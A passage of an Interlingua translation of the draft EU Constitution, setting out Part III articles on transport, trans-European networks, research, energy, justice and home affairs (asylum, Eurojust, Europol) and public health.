decision europee del Commission.\n2. Le Commission, per proprie initiativa o per un requesta de un Stato membro, examina le precios e conditiones mentionate in le paragrapho 1, tenente conto, in particular, de un parte, del exigentias de un politica economic regional appropriate, del necessitates del regiones subdisveloppate, assi como del problemas del regiones gravemente affectate per le circumstantias politic e, de altere parte, del effectos de iste precios e conditiones super le concurrentia inter le diverse modos de transporto. Post consultation de tote le Statos membros interessate, illo adopta le decisiones europee necessari.\n3. Le prohibition mentionate in le paragrapho 1 non se applica al tarifas de concurrentia.ARTICULO III-242\nLe taxas e impostos que, independentemente del precios de transporto, es percipite per un transportator al passage del frontieras non debe superar un nivello rationabile, tenite conto del costos real effective de iste passage.\nLe Statos membros se effortia de reducer iste costos. Le Commission pote diriger al Statos membros recommendationes relative al application del presente articulo.ARTICULO III-243\nLe dispositiones del presente Section non es un obstaculo al mesuras adoptate in le Republica Federal de Germania, in le mesura que illos es necessari pro compensar le disavantages economic causate per le division de Germania, al economia de certe regiones del Republica Federal affectate per iste division. Cinque annos post le entrata in vigor del tractato establiente un Constitution pro Europa, le Consilio, per proposition del Commission, pote adoptar un decision europee abrogante le presente articulo.ARTICULO III-244\nUn Committee de character consultative adjuncte al Commission, componite de expertos designate per le governamentos del Statos membros, es instituite. Le Commission consulta iste Committee re le transportos cata vice que illo lo judica utile.ARTICULO III-245\n1. Le presente section se applica al transportos per ferrovia, per camminos e per vias navigabile.\n2. Le lege o lege-quadro europee pote establir mesuras appropriate pro le navigation maritime e aeree. Illo es adoptate post consultation del Committee del Regiones e del Committee Economic e Social.\nSECTION 8RETES TRANSEUROPEE\nARTICULO III-246\n1. In vista de contribuer al realisation del objectivos mentionate in le articulos III-130 e III-220 e de permitter al citatanos del Union, al operatores economic, assi como al collectivitates regional e local, de beneficiar plenmente del avantages derivate del creation de un spatio sin frontieras interior, le Union contribue al establimento e al disveloppamento de retes transeuropee in le sectores del infrastructuras del transporto, del telecommunicationes e del energia.\n2. In le quadro de un systema de mercatos aperte e concurrential, le action del Union visa a favorar le interconnexion e le interoperabilitate del retes national, assi como le accesso a iste retes. Illo tene conto in particular del necessitate de connecter le regiones insular, isolate e peripheric con le regiones central del Union.ARTICULO III-247\n1. Pro realisar le objectivos mentionate in le articulo III-246, le Union:\na) establi un insimul de orientationes re le objectivos, le prioritates, assi como le grande lineas, de action previste in le dominio del retes transeuropee. Iste orientationes determina projectos de interesse commun;\nb) realisa le actiones que pote monstrar se necessari pro garantir le interoperabilitate del retes, in particular in le dominio del harmonisation del normas technic;\nc) pote appoiar projectos de interesse commun que recipe le appoio del Statos membros, e que es definite in le quadro del orientationes mentionate in le littera a), in particular sub forma de studios de facibilitate, de garantias de credito o de bonificationes de interesse; le Union pote equalmente contribuer al financiamento, in le Statos membros, de projectos specific de infrastructura del transportos per medio del Fundo de cohesion.\nLe action del Union tene conto del viabilitate economic potential del projectos.\n2. Le lege o lege-quadro europee establi le orientationes e le altere mesuras mentionate in le paragrapho 1. Illo es adoptate post consultation del Committee del Regiones e del Committee Economic e Social.\nLe orientationes e projectos de interesse commun que concerne le territorio de un Stato membro require le accordo del Stato membro concernite.\n3. Le Statos membros coordina inter se, in collaboration con le Commission, le politicas conducite al nivello national que pote haber un impacto significative super le realisation del objectivos mentionate in le articulo III-246. Le Commission pote prender, in stricte collaboration con le Statos membros, qualcunque initiativa pro promover iste coordination.\n4. Le Union pote cooperar con le paises tertie pro promover projectos de interesse commun e garantir le interoperabilitate del retes.\nSECTION 9\nRECERCA E DISVELOPPAMENTO TECHNOLOGIC E SPATIO\nARTICULO III-248\n1. Le action del Union visa a reinfortiar su bases scientific e technologic, per le realisation de un spatio europee del recerca in le qual le investigatores, le cognoscentias scientific e le technologias circula liberemente, a favorar le disveloppamento de su competitivitate, includite illo de su industria, assi como a promover le actiones de recerca judicate necessari in vista del altere capitulos del Constitution.\n2. Pro le fines mentionate in le paragrapho 1, illo stimula, in le insimul del Union, le interprisas, includite le parve e le median interprisas, le centros de recerca e le universitates in lor effortios de recerca e de disveloppamento technologic de alte qualitate. Illo appoia lor effortios de cooperation, con le fin, specialmente, de permitter al investigatores de cooperar liberemente trans le frontieras, e al interprisas de exploitar le potentialitates del mercato interior al favor, in particular, del apertura del mercatos public national, del definition de normas commun e del elimination del obstaculos juridic e fiscal a iste cooperation.\n3. Tote le actiones del Union in le dominio del recerca e del disveloppamento technologic, includite le actiones de demonstration, es decidite e executate conformemente con le presente Section.ARTICULO III-249\nPro prosequer le objectivos mentionate in le articulo III-248, le Union realisa le actiones sequente, que completa le actiones interprendite in le Statos membros:\na) execution de programmas de recerca, de disveloppamento technologic e de demonstration promovente le cooperation con e inter le interprisas, le centros de recerca e le universitates;\nb) promotion del cooperation in materia de recerca, de disveloppamento technologic e de demonstration del Union con le paises tertie e le organisationes international;\nc) diffusion e exploitation del resultatos del activitates in materia de recerca, de disveloppamento technologic e de demonstration del Union;\nd) stimulation del formation e del mobilitate del investigatores del Union.ARTICULO III-250\n1. Le Union e le Statos membros coordina lor action in materia de recerca e de disveloppamento technologic, a fin de garantir le coherentia reciproc del politicas national e del politica del Union.\n2. Le Commission pote prender, in stricte collaboration con le Statos membros, qualcunque initiativa utile pro promover le coordination mentionate in le paragrapho 1, in particular del initiativas in vista de establir orientationes e indicatores, de organisar le intercambio del melior practicas e de preparar le elementos necessari pro le controlo e le evalutation periodic. Le Parlamento Europee es plenmente informate.ARTICULO III-251\n1. Le lege europee establi le programma-quadro pluriannual, que include le insimul del actiones financiate per le Union. Illo es adoptate post consultation del Committee Economic e Social. Le programma-quadro:\na) fixa le objectivos scientific e technologic que debe esser realisate per le actiones mentionate in le articulo III-249 e le prioritates correspondente;\nb) indica le grande lineas de iste actiones;\nc) fixa le amonta global maxime e le modalitates del participation financiari del Union in le programma-quadro, assi como le proportion representate pro cata un del actiones mentionate\n2.Le programma-quadro pluriannual es adaptate o completate in function del evolution del situationes.\n3. Un lege europee del Consilio establi le programmas specific que disveloppa le Programma-quadro pluriannual in cata un del actiones. Cata programma specific precisa le modalitates de su realisation, fixa su duration e previde le medios considerate necessari. Le summa del amontas considerate necessari, fixate per le programmas specific, non pote superar le amonta global maxime fixate pro le programma-quadro e pro cata action. Iste lege es adoptate post consultation del Parlamento Europee e del Committee Economic e Social.\n4. Como complemento del actiones previste in le programma-quadro pluriannual, le lege europee establi le mesuras necessari pro le realisation del spatio europee de recerca. Illo es adoptate post consultation del Committee Economic e Social.ARTICULO III-252\n1. Pro le execution del Programma-quadro pluriannual, le lege o lege-quadro establi:\na) le regulas de participation del interprisas, del centros de recerca e del universitates;\nb) le regulas applicabile al diffusion del resultatos del recerca. Le lege o lege-quadro europee es adoptate post consultation del Committee Economic e Social.\n2. In le execution del Programma-quadro pluriannual, le lege europee pote establir programmas complementari in le quales solmente participa certe Statos membros que garanti su financiation, sub reserva de un participation eventual del Union.\nLe lege europee fixa le regulas applicabile al programmas complementari, in particular in materia de diffusion del cognoscentias e del accesso de altere Statos membros. Illo es adoptate post consultation del Committee Economic e Social e con le accordo del Statos membros concernite.\n3. In le execution del Programma-quadro pluriannual, le lege europee pote, in accordo con le Statos membros concernite, establir un participation in programmas de recerca e de disveloppamento interprendite per plure Statos membros, includite le participation in le structuras create pro le execution de iste programmas. Le lege europee es adoptate post consultation del Committee Economic e Social.\n4. In le execution del Programma-quadro pluriannual, le Union pote previder un cooperation in materia de recerca, de disveloppamento technologic e de demonstration del Union con tertie paises o con organisationes international. Le modalitates de iste cooperation pote esser objecto de accordos inter le Union e le tertie partes concernite.ARTICULO III-253\nLe Consilio pote, per proposition del Commission, adoptar regulamentos o decisiones europee destinate a crear interprisas commun o qualcunque altere structura necessari pro le bon execution del programmas de recerca, de disveloppamento technologic e de demonstration del Union. Illo prende decision post consultation del Parlamento Europee e del Committee Economic e Social.ARTICULO III-254\n1. Pro favorar le progresso scientific e technic, le competitivitate industrial e le application de su politicas, le Union elabora un politica spatial europee. Pro iste fin illo pote promover initiativas commun, appoiar le recerca e le disveloppamento technologic, e coordinar le effortios necessari pro le exploration e le utilisation del spatio.\n2. Pro contribuer al realisation del objectivos mentionate in le paragrapho 1, le lege o lege-quadro europee establi le mesuras necessari, que pote prender le forma de un programma spatial europee.\n3. Le Union establi le relationes utile con le Agentia Spatial Europee.ARTICULO III-255\nAl initio de cata anno, le Commission presenta un reporto al Parlamento Europee e al Consilio. Iste reporto tracta in particular del activitates realisate in materia de recerca, de disveloppamento technologic e de diffusion del resultatos durante le anno precedente e re le programma de labor del anno in curso.\nSECTION 10\nENERGIA\nARTICULO III-256\n1. In le quadro del establimento o del functionamento del mercato interior e tenente conto del exigentia de preservar e de meliorar le medio ambiente, le politica del Union in le dominio del energia ha como objectivo:\na) garantir le functionamento del mercato del energia;\nb) garantir le securitate del approvisionamento energetic in le Union, e\nc) promover le efficacia energetic e le economias de energia assi como le disveloppamento del energias nove e renovabile.\n2. Sin prejudicio del application de altere dispositiones del Constitution, le lege o lege-quadro europee establi le mesuras necessari pro attinger le objectivos mentionate in le paragrapho 1. Illo es adoptate post consultation del Committee del Regiones e del Committee Economic e Social. Le lege o lege-quadro europee non affecta le derecto de un Stato membro de determinar le conditiones de exploitation de su ressources energetic, su election inter differente fontes de energia e le structura general de su approvisionamento energetic, sin prejudicio del paragrapho 2 del articulo III-234(2)(c).\n3. Nonobstante lo que es disponite in le paragrapho 2, un lege o lege-quadro europee del Consilio establi le mesuras mentionate in iste paragrapho, quando illos es essentialmente de character fiscal. Le Consilio decide per unanimitate post consultation del Parlamento Europee.\nCAPITULO IV\nSPATIO DE LIBERTATE, SECURITATE E JUSTITIA\nSECTION 1\nDISPOSITIONES GENERAL\nARTICULO III-257\n1. Le Union constitue un spatio de libertate, de securitate e de justitia in le respecto del derectos fundamental e del differente systemas e traditiones juridic del Statos membros.\n2. Illo garanti le absentia de controlos del personas al frontieras interior e disveloppa un politica commun de asylo, de immigration e de controlo del frontieras exterior que es fundate super le solidaritate inter Statos membros e que es equitabile pro le citatanos de tertie paises. Concernente le presente capitulo, le personas sin patria es assimilate al citatanos del tertie paises.\n3. Le Union se effortia pro garantir un nivello elevate de securitate per mesuras de prevention del delinquentia, del racismo e del xenophobia assi como de lucta contra illos, per mesuras de coordination e cooperation inter autoritates policiari e judiciari e altere autoritates competente, assi como per le recognoscentia mutual del decisiones judiciari in materia penal e, si necessari, per le approximation del legislationes penal.\n4. Le Union facilita le accesso al justitia, in particular per le principio de recognoscentia mutual del decisiones judiciari e extrajudiciari in materia civil.ARTICULO III-258\nLe Consilio Europee defini le orientationes strategic del programmation legislative e operational in le spatio de libertate, de securitate e de justitia.ARTICULO III-259\nIn relation con le propositiones e initiativas legislative presentate in le quadro del Sectiones 4 e 5, le parlamentos national velia le respecto del principio de subsidiaritate, conformemente con le protocollo re le application del principios de subsidiaritate e de proportionalitateARTICULO III-260\nSin prejudicio del articulos III-360 a III-362, le Consilio pote, per proposition del Commission, adoptar regulamentos o decisiones europee que establi modalitates per le quales le Statos membros, in collaboration con le Commission, procede a un evalutation objective e impartial del application, per le autoritates del Statos membros, del politicas del Union mentionate in le presente articulo, in particular pro favorar le plen application del principio de recognoscentia mutual. Le Parlamento Europee e le parlamentos national es informate del contento e del resultatos de iste evalutation.ARTICULO III-261\nUn committee permanente es instituite al sino del Consilio pro garantir al interior del Union le promotion e le reinfortiamento del cooperation operational in materia de securitate interior. Sin prejudicio del articulo III-344, illo favora le coordination del action del autoritates competente del Statos membros. Le representantes del organos e organismos concernite del Union pote esser associate al labores del committee. Le Parlamento Europee e le parlamentos national es informate del labores.ARTICULO III-262\nLe presente capitulo se intende, sin prejudicio del exercitio del responsabilitates que incumbe al Statos membros, pro le mantenimento del ordine public e le salveguarda del securitate interior.ARTICULO III-263\nLe Consilio adopta regulamentos europee pro garantir un cooperation administrative inter le servicios competente del Statos membros in le dominios mentionate in le presente capitulo, assi como inter le servicios e le Commission. Illo decide per proposition del Commission, sin prejudicio del articulo II-264, e post consultation del Parlamento Europee.ARTICULO III-264\nLe actos mentionate in le sectiones 4 e 5, assi como le regulamentos europee mentionate in le articulo III-263, que garanti un cooperation administrative in le dominios mentionate in iste sectiones, es adoptate:\na) per proposition del Commission, o\nb) per initiativa de un quarto del Statos membros.\nSECTION 2\nPOLITICAS RELATIVE AL CONTROLOS AL FRONTIERAS, AL ASYLO E AL IMMIGRATION\nARTICULO III-265\n1. Le Union disveloppa un politica que ha como objectivo:\na) garantir le absentia total de controlos del personas, qualcunque es lor nationalitate, quando illes passa le frontieras interior;\nb) garantir le controlo del personas e le surveliantia efficace del passage del frontieras exterior;\nc) instaurar progressivemente un systema integrate de gestion del frontieras exterior.\n2. Pro le fines del paragrapho 1, le lege o lege-quadro europee establi le mesuras relative a:\na) le politica commun de visas e altere permissos de residentia de curte duration;\nb) le controlos al quales es submittite le personas passante le frontieras exterior;\nc) le conditiones in le quales le citatanos del tertie paises pote circular liberemente in le Union durante un curte periodo;\nd) qualcunque mesura necessari pro le establimento progressive de un systema integrate de gestion del frontieras exterior;\ne) le absentia de controlo del personas, qualcunque es lor nationalitate, quando illes passa le frontieras interior.\n3. Le presente articulo non affecta le competentia del Statos membros concernente le delimitation geographic de lor frontieras, conformemente con le derecto international.ARTICULO III-266\n1. Le Union disveloppa un politica commun in materia de asylo, de protection subsidiari e de protection temporari, destinate a offerer un statuto appropriate a tote citatano de un tertie pais qui necessita un protection international, e a garantir le respecto del principio de non-expulsion. Iste politica debe esser conforme con le Convention de Genève del 28 de julio 1951 e con le protocollo del 31 de januario 1967 relative al statuto del refugiatos, assi como al altere tractatos pertinente.\n2. Pro le fines del paragrapho 1, le lege o lege-quadro europee establi le mesuras relative a un systema europee commun de asylo que include:\na) un statuto uniforme de asylo in favor de citatanos de tertie paises, valide in tote le Union;\nb) un statuto uniforme de protection subsidiari pro le citatanos del tertie paises qui, sin obtener le asylo europee, ha besonio de un protection international;\nc) un systema commun pro le protection temporari del personas displaciate, in caso de affluentia massive;\nd) proceduras commun pro conceder o retirar le statuto uniforme de asylo o de protection subsidiari;\ne) criterios e mechanismos de determination del Stato membro responsabile del examine de un requesta de asylo o de protection subsidiari;\nf) normas concernente le conditiones de reception del sollicitante de asylo o de protection subsidiari;\ng) le association e le cooperation con tertie paises pro gerer le fluxos de personas qui sollicita asylo o un protection subsidiari o temporari.\n3. Si un o plure Statos membros se trova in un situation de urgentia characterisate per un affluxo subite de citatanos de tertie paises, le Consilio, per proposition del Commission, pote adoptar regulamentos o decisiones europee que establi mesuras provisori al profito del Statos membros concernite. Illo decide post consultation del Parlamento EuropeeARTICULO III-267\n1. Le Union disveloppa un politica commun del immigration destinate a garantir, in tote le stadios, un gestion efficace del fluxo de migratores, un tractamento equitabile del citatanos de tertie paises residente regularmente in le Statos membros, assi como un prevention del immigration illegal e del traffico commercial con esseres human e un lucta reinfortiate contra illos.\n2. Pro le fines del paragrapho 1, le lege o lege-quadro europee establi le mesuras in le dominios sequente:\na) le conditiones de entrata e de residentia, assi como le normas concernente le fornimento per le Statos membros de visas e permissos de residentia de longe duration, includite pro le fines de regruppation familial;\nb) le definition del derectos del citatanos del tertie paises qui reside legalmente in un Stato membro, includite le conditiones que rege le libertate de circulation e de residentia in le altere Statos membros;\nc) le immigration clandestin e le residentia irregular, includite le expulsion e le repatriation del personas in situation illegal;\nd) le lucta contra le commercio con esseres human, in particular con feminas e infantes;\n3. Le Union pote concluder con tertie paises accordos pro le readmission, in lor pais de origine o de provenientia, de citatanos de tertie paises qui non compli o non plus compli le conditiones de entrata, de presentia o de residentia in le territorio de un del Statos membros.\n4. Le lege o lege-quadro europee pote establir mesuras pro incoragiar e appoiar le action del Statos membros in vista de favorar le integration del citatanos de tertie paises residente legalmente in lor territorio, con exclusion de tote harmonisation del dispositiones legislative e regulamentari del Statos membros.\n5. Le presente articulo non affecta le derecto del Statos membros de fixar le volumines de entrata del citatanos de tertie paises, proveniente de tertie paises, in lor territorio con le scopo de cercar un empleo salariate o non-salariate.ARTICULO III-268\nLe politicas del Union mentionate in le presente section e lor execution es regite per le principio de solidaritate e de repartition equitabile del responsabilitates inter le Statos membros, includite super le plano financiari. Cata vice que isto es necessari, le actos del Union adoptate in virtute del presente section contine mesuras appropriate pro le application de iste principio.\nSECTION 3\nCOOPERATION JUDICIARI IN MATERIA CIVIL\nARTICULO III-269\n1. Le Union disveloppa un cooperation judiciari in le materias civil con repercussion trans le frontieras, fundate super le principio de recognoscentia mutual del decisiones judiciari e extrajudiciari. Iste cooperation pote includer le adoption de mesuras de approximation del dispositiones legislative e regulamentari del Statos membros.\n2. Pro le fines del paragrapho 1, le lege o lege-quadro europee establi, in particular quando isto es necessari pro le bon functionamento del mercato interior, mesuras pro garantir:\na) le recognoscentia mutual inter le Statos membros del decisiones judiciari e extrajudiciari, e lor execution;\nb) le signification e le notification trans le frontieras del actos judiciari e extrajudiciari;\nc) le compatibilitate del regulas applicabile in le Statos membros in materia de conflicto de leges e de competentia;\nd) le cooperation in materia de obtention de provas;\ne) un accesso effective al justitia;\nf) le elimination del obstaculos al bon functionamento del proceduras civil, favorante, si isto es necessari, le compatibilitate del regulas de procedura civil applicabile in le Statos membros;\ng) le disveloppamento de methodos alternative de resolution de lites;\nh) le appoio del formation del magistratos e del personales de justitia.\n3. Nonobstante lo que es disponite in le paragrapho 2, le mesuras relative al derecto del familia con repercussion trans le frontieras es establite per un lege o lege-quadro europee del Consilio. Le Consilio decide per unanimitate, post consultation del Parlamento Europee.\nLe Consilio, per proposition del Commission, pote adoptar un decision europee que determina le aspectos del derecto del familia con repercussion trans le frontieras susceptibile de esser le objecto de actos adoptate secundo le procedura legislative ordinari. Le Consilio decide per unanimitate, post consultation del Parlamento Europee.\nSECTION 4\nCOOPERATION JUDICIARI IN DERECTO PENAL\nARTICULO III-270\n1. Le cooperation judiciari penal in le Union es fundate super le principio de recognoscentia mutual del judicamentos e decisiones judiciari e include le approximation del dispositiones legislative e regulamentari del Statos membros in le dominios mentionate in le paragrapho 2 e le articulo III-271.\nLe lege o lege-quadro europee establi le mesuras pro:\na) establir regulas e proceduras pro assecurar le recognoscentia, in le insimul del Union, de tote le formas de judicamentos e de decisiones judiciari;\nb) prevenir e resolver le conflictos de competentia inter le Statos membros;\nc) adjuvar le formation de magistratos e de personales de justitia;\nd) facilitar le cooperation inter le autoritates judiciari o equivalente del Statos membros in le quadro del procedura penal e del execution del decisiones.\n2. In le mesura que isto es necessari pro facilitar le recognoscentia mutual del judicamentos e decisiones judiciari, assi como le cooperation policiari e judiciari in le materias penal con dimension trans le frontieras, le lege-quadro europee pote establir regulas minimal. Iste regulas minimal tene conto del differentias inter le traditiones e systemas juridic del Statos membros. Illos se refere:\na) al admissibilitate mutual del provas inter le Statos membros;\nb) al derectos del personas in le procedura penal;\nc) al derectos del victimas del criminalitate;\nd) a altere elementos specific del procedura penal que le Consilio habera identificate in avantia per un decision europee; pro le adoption de iste decision, le Consilio decide per unanimitate, post approbation del Parlamento Europee. Le adoption del regulas minimal mentionate in le presente paragrapho non impedi le Statos membros de mantener o de instituer un nivello de protection plus elevate pro le personas.\n3. Quando un membro del Consilio considera que un projecto de lege-quadro europee, mentionate in le paragrapho 2, affecta le aspectos fundamental de su systema de justitia penal, ille pote sollicitar que le projecto de lege-quadro es remittite al Consilio Europee. In iste caso, le procedura mentionate in le articulo III-396 es suspendite. Post discussion, le Consilio Europee, post quatro menses de iste suspension:\na) invia le projecto retro al Consilio, lo que termina le suspension del procedura mentionate in le articulo III-396, o\nb) pete le Commission o le gruppo de Statos membros del quales emana le projecto de submitter un nove projecto; in iste caso, le acto initialmente proponite es considerate como adoptate.\n4. Si, al termino del periodo mentionate in le paragrapho 3, nulle action ha essite prendite per le Parlamento Europee o si, in 12 menses ab le presentation de un nove projecto in virtute del paragrapho 3(b), le lege-quadro europee non ha essite adoptate, e que al minus un tertio del Statos membros desira establir cooperation reinfortiate super le base del projecto de lege-quadro concernite, illos informa de illo le Parlamento Europee, le Consilio e le Commission.ARTICULO III-271\n1. Le lege-quadro europee pote establir regulas minime relative al definition del infractiones penal e del sanctiones in dominios de criminalitate particularmente grave con dimensiones trans le frontieras resultante del character o impacto del repercussiones de iste infractiones o de un necessitate particular de combatter los secundo criterios commun.\nIste dominios de criminalitate es le sequente: le terrorismo, le commercio con esseres human e le exploitation sexual del feminas e del infantes, le traffico illicite de drogas, le traffico illicite de armas, le blanchimento de moneta, le corruption, le falsification de medios de pagamento, le criminalitate informatic e le criminalitate organisate.\nTenente conto del evolution del criminalitate, le Consilio pote adoptar un decision europee identificante altere dominios de criminalitate que responde al criterios mentionate in le presente paragrapho. Illo decide unanimemente post approbation del Parlamento Europee.\n2. Quando le approximation del dispositiones legislative e regulamentari del Statos membros in materia penal se monstra indispensabile pro garantir le execution efficace de un politica del Union in un dominio que ha essite subjecto de mesuras de harmonisation, le lege-quadro europee pote establir regulas minime relative al definition del infractiones penal e del sanctiones in le dominio concernite. Illo es adoptate secundo le mesme procedura que illo utilisate pro le adoption del mesuras de harmonisation in question, sin prejudicio del articulo III-264.\n3. Quando un membro del Consilio considera que un projecto de lege-quadro europee, mentionate in le paragraphos 1 o 2, affectarea le aspectos fundamental de su systema de justitia penal, illo pote sollicitar que le projecto del lege-quadro se remitte al Consilio Europee. In iste caso, quando le procedura mentionate in le articulo III-396 es applicabile, illo es suspendite. Post deliberation e al fin de un periodo de quatro menses a partir de iste suspension, le Consilio Europee:\na) invia le projecto retro al Consilio, lo que pone fin al suspension del procedura mentionate in le articulo III-396 quando iste es applicable; o\nb) pete al Commission o al gruppo de Statos membros, del qual emana le projecto, de presentar un nove projecto; in iste caso, le acto initialmente proponite es considerate como non adoptate.\n4. Si, al fin del periodo mentionate in le paragrapho 3, nulle action es prendite per le Consilio Europee o si, in un periodo de 12 menses a partir del presentation de un nove projecto in virtute del paragrapho 3(b), le lege-quadro europee non ha essite adoptate, e si al minus un tertio del Statos membros vole establir un cooperation reinfortiate super le base del projecto de lege-quadro concernite, illos debe informar le Parlamento Europee, le Consilio e le Commission. In un tal caso le autorisation pro initiar le cooperation reinfortiate, mentionate in le articulo I-44(2) e in le articulo III-419(1), es considerate como concedite e le dispositiones relative al cooperation reinfortiate es applicate.ARTICULO III-272\nLe lege o lege-quadro europee pote establir mesuras pro incoragiar e appoiar le action del Statos membros in le dominio del prevention del criminalitate, con exclusion de tote harmonisation del dispositiones legislative e regulamentari del Statos membros.ARTICULO III-273\n1. Le mission de Eurojust es appoiar e reinfortiar le coordination e le cooperation inter le autoritates national cargate de investigar e de persequer le criminalitate grave affectante duo o plure Statos membros o exigente un persecution secundo criterios commun, basante se super operationes effectuate e super information fornite per le autoritates del Statos membros e per Europol. Concernente isto, le lege europee determina le structura, le functionamento, le dominio de action e le cargas de Eurojust. Iste cargas pote includer:\na) le initio de investigationes penal, assi como le proposition de initio de persecutiones, conducite per le autoritates national competente, particularmente illos relative a infractiones contra le interesses financiari del Union;\nb) le coordination de investigationes e persecutiones mentionate in le littera a);\nc) le reinfortiamento del cooperation judiciari, includite per resolution de conflictos de competentias e per un stricte cooperation con le Rete judiciari europee. Le lege europee fixa equalmente le modalitates del association del Parlamento Europee e del parlamentos national in le evalutation del activitates de Eurojust.\n2. In le quadro del persecutiones mentionate in le paragrapho 1, e sin prejudicio del articulo III-274, le actos official de procedura judiciari es complite per le functionarios national competente.ARTICULO III-274\n1. Pro combatter le infractiones contra le interesses financiari del Union, un lege europee del Consilio pote instituer un officio de Accusator Public Europee a partir de Eurojust. Le Consilio prende decision per unanimitate, post approbation del Parlamento Europee.\n2. Le officio del Accusator Public Europee es competente pro deteger, persequer e poner ante le judice, eventualmente in collaboration con Europol, le autores e complices de infractiones contra le interesses financiari del Union, como istos es determinate per le lege europee mentionate in le paragrapho 1. Illo exerce ante le organos jurisdictional competente del Statos membros le action penal relative a iste infractiones.\n3. Le lege europee mentionate in le paragrapho 1 fixa le statuto del officio del Accusator Public Europee, le conditiones de exercitio de su functiones, le regulas de procedura applicabile a su activitates, assi como istos que rege le admissibilitate del provas, e le regulas applicabile al controlo jurisdictional del actos de procedura realisate in le exercitio de su functiones.\n4. Le Consilio Europee pote adoptar, simultaneemente o ulteriormente, un decision europee modificante le paragrapho 1 a fin de extender le attributiones del officio del Accusator Public Europee in le lucta contra le criminalitate grave con un dimension trans le frontieras e modificante in consequentia le paragrapho 2 concernente le autores e le complices de crimines grave affectante plure Statos membros. Le Consilio Europee prende decision per unanimitate, post approbation del Parlamento Europee e post consultation del Commission.\nSECTION 5\nCOOPERATION POLICIARI\nARTICULO III-275\n1. Le Union disveloppa un cooperation policiari que associa tote le autoritates competente del Statos membros, includite le servicios de policia, le servicios del doanas e altere servicios repressive specialisate in le dominios del prevention o del detection e investigation del infractiones penal.\n2. Pro le fines del paragrapho 1, le lege o lege-quadro europee pote establir mesuras re:\na) le collecta, le stockage, le tractamento, le analyse e le intercambio de informationes pertinente;\nb) le appoio al formation de personal, assi como le cooperation relative al intercambio de personal, al equipamentos e al investigation criminalistic;\nc) le technicas commun de investigation concernente le detection de formas grave de criminalitate organisate.\n3. Un lege o lege-quadro europee del Consilio pote establir mesuras re le cooperation operational inter le autoritates mentionate in le presente articulo. Le Consilio decide per unanimitate, post consultation del Parlamento Europee.ARTICULO III-276\n1. Le mission de Europol es appoiar e reinfortiar le action del autoritates policiari e altere servicios repressive del Statos membros assi como lor collaboration mutual in le prevention del criminalitate grave affectante duo o plure Statos membros, del terrorismo e del formas de criminalitate contra un interesse commun que es le objecto de un politica del Union, assi como le lucta contra illos.\n2. Le lege europee determina le structura, le functionamento, le dominio de action e le cargas de Europol. Iste cargas pote includer:\na) le collecta, le stockage, le tractamento, le analyse e le intercambio del informationes, transmittite particularmente per le autoritates del Statos membros o de paises e tertie instantias;\nb) le coordination, le organisation e le realisation del investigationes e de actiones operational, facite conjunctemente con le autoritates del Statos membros o in le quadro de equipas conjuncte de investigation, eventualmente in contacto con Eurojust. Le lege europee fixa equalmente le modalitates de controlo del activitates de Europol per le Parlamento Europee, controlo al qual es associate le parlamentos national.\n3. Qualcunque action operational de Europol debe esser facite in collaboration e in accordo con le autoritates del Statos membros cuje territorio es concernite. Le application de mesuras coercitive pertine exclusivemente al autoritates national competente.ARTICULO III-277\nUn lege o lege-quadro europee del Consilio fixa le conditiones e le limites intra le quales le autoritates competente del Statos membros, mentionate in le articulos III-270 e III-275, pote intervenir in le territorio de un altere Stato membro in contacto e de accordo con le autoritates de iste Stato. Le Consilio decide per unanimitate, post consultation del Parlamento Europee.\nCAPITULO V\nAREAS UBI LE UNION POTE PRENDER ACTIONES\nDE SUPPORTO, DE COORDINATION O COMPLEMENTARI\nSECTION 1\nSANITATE PUBLIC\nARTICULO III-278\n1. Un nivello elevate de protection del sanitate human es garantite in le definition e le execution de tote le politicas e actiones del Union. Le action del Union, que completa le politicas national, concerne le melioration del sanitate public, assi como le prevention del maladias e affectiones human, e del causas de periculo pro le sanitate physic e mental. Iste action include equalmente:\na) le lucta contra le grande pandemias, favorante le investigation de su etiologia, lor transmission e lor prevention assi como le information e le education re le sanitate;\nb) le surveliantia del menacias trans le frontieras grave pro le sanitate, le alerta in caso de tal menacias e le lucta contra illos. Le Union completa le action facite per le Statos membros in vista de reducer le effectos nocive del droga super le sanitate, includite per le information e le prevention.\n2. Le Union incoragia le cooperation inter le Statos membros in le dominios mentionate in le presente articulo e, si necessari, illo appoia lor action. Illo incoragia in particular le cooperation inter le Statos membros destinate a meliorar le complementaritate de lor servicios de sanitate in le regiones de frontiera.\nLe Statos membros coordina inter se, in contacto con le Commission, lor politicas e programmas in le dominios mentionate in le paragrapho 1. Le Commission pote, in contacto stricte con le Statos membros, prender qualcunque initiativa utile pro promover iste coordination, in particular initiativas in vista de establir orientationes e indicatores, de organisar le intercambio del melior practicas e de preparar le elementos necessari pro le surveliantia e pro le evalutation periodic. Le Parlamento Europee es plenmente informate.\n3. Le Union e le Statos membros favora le cooperation con le tertie paises e le organisationes international competente in materia de sanitate public.\n4. Nonobstante lo que es disponite in le articulo I-12(5) e in le articulo I-17(a), conformemente con le articulo I-14(2)(k), le lege o lege-quadro europee contribue al realisation del objectivos mentionate in le presente articulo establiente le mesuras pro facer fronte al problemas commun de securitate:\na) mesuras fixante normas elevate de qualitate e de securitate del organos e substantias de origine human, del sanguine e derivatos del sanguine; iste mesuras non pote impedir un Stato membro de mantener o de establir mesuras de protection plus stricte;\nb) mesuras in le dominios veterinari e phytosanitari habente directemente pro objectivo le protection del sanitate public;\nc) mesuras fixante normas elevate de qualitate e de securitate del medicamentos, del productos e del dispositivos pro uso medical;\nd) mesuras concernente le surveliantia del menacias trans le frontieras grave pro le sanitate, le alerta in caso de tal menacias e le lucta contra illos.\nLe lege o lege-quadro europee es adoptate post consultation del Committee Economic e Social e del Committee de Regiones.\n5. Le lege o lege-quadro europee pote equalmente establir mesuras de incoragiamento destinate a proteger e a meliorar le sanitate human e in particular a luctar contra le pandemias trans le frontieras, assi como mesuras habente directemente pro objectivo le protection del sanitate public concernente le tabaco e le consumo excessive de alcohol, con exclusion de tote harmonisation del dispositiones legislative e regulamentari del Statos membros. Illo es adoptate post consultation del Committee del Regiones e del Committee Economic e Social.\nPro le fines del presente articulo, le Consilio, per proposition del Commission, pote equalmente adoptar recommendationes.\n7. Le action del Union respecta le responsabilitates del Statos membros pro le definition de lor politica de sanitate e pro le organisation e le prestation de servicios de sanitate e assistentia medical. Le responsabilitates del Statos membros include le gestion de servicios de sanitate e de assistentia medical assi como le allocation del ressources que es destinate a iste servicios. Le mesuras mentionate in le paragrapho 4(a) non ha influentia al dispositiones national relative al donation de organos e sanguine o relative a lor uso medical.\nSECTION 2\nINDUSTRIA\nARTICULO III-279\n1. Le 